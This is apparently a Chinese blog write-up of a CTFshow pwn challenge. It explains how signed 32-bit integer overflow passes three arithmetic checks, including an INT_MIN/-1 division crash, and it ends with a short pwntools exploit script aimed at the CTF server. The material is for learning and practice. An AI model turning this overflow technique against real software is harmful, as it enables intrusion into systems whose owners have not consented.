CTFSHOW|pwn-数学99-wp

1.检查保护机制

2.我们用64位的IDA打开该文件

 查找关键字符串看到有“cat flag”

3.我们先预览一遍程序

main函数

 我们看到要if语句里面的三个函数条件为真

第一个函数

第二个函数

第三个函数

 

在第三个函数里面条件为真就可以拿到flag(handler)

4.第一个函数:sub_9C0()

 条件:

 因为输入变量s是有符号数的int型:0~2147483647 -2147483648~-1

所以8 -(-1)= 9

我们就可以输入a = 8        b = 4294967295 = -1

5.第二个函数:sub_AEE()

条件:

 因为输入的v2,v3是有符号数的int型:0~2147483647 -2147483648~-1

 所以我们可以让3 * 3 = 9

4294967305 = 9

 4294967305因式分解后为:48145*89209

 网址:tools.jb51.net/jisuanqi/factor_calc

6.第三个函数: sub_BA3()

条件:

 因为v2,v3是有符号数的int型:0~2147483647 -2147483648~-1

 所以: a = 2147483648        b = -1

或    : a =-2147483648        b = -1 

程序无法执行

7.EXP

#encoding = utf-8
from pwn import * 

context(os = 'linux',arch = 'amd64',log_level = 'debug')
content = 0

def main():
	if content == 1:
		p = process('pwn2')
	else:
		p = remote('pwn.challenge.ctf.show',28090)
	
	p.sendlineafter("a:",'8')
	p.sendlineafter("b:",'4294967295')
	
	p.sendlineafter("a:",'48145')
	p.sendlineafter("b:",'89209')
	
	p.sendlineafter("a:",'-2147483648')
	p.sendlineafter("b:",'-1')
	p.interactive()
main()

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值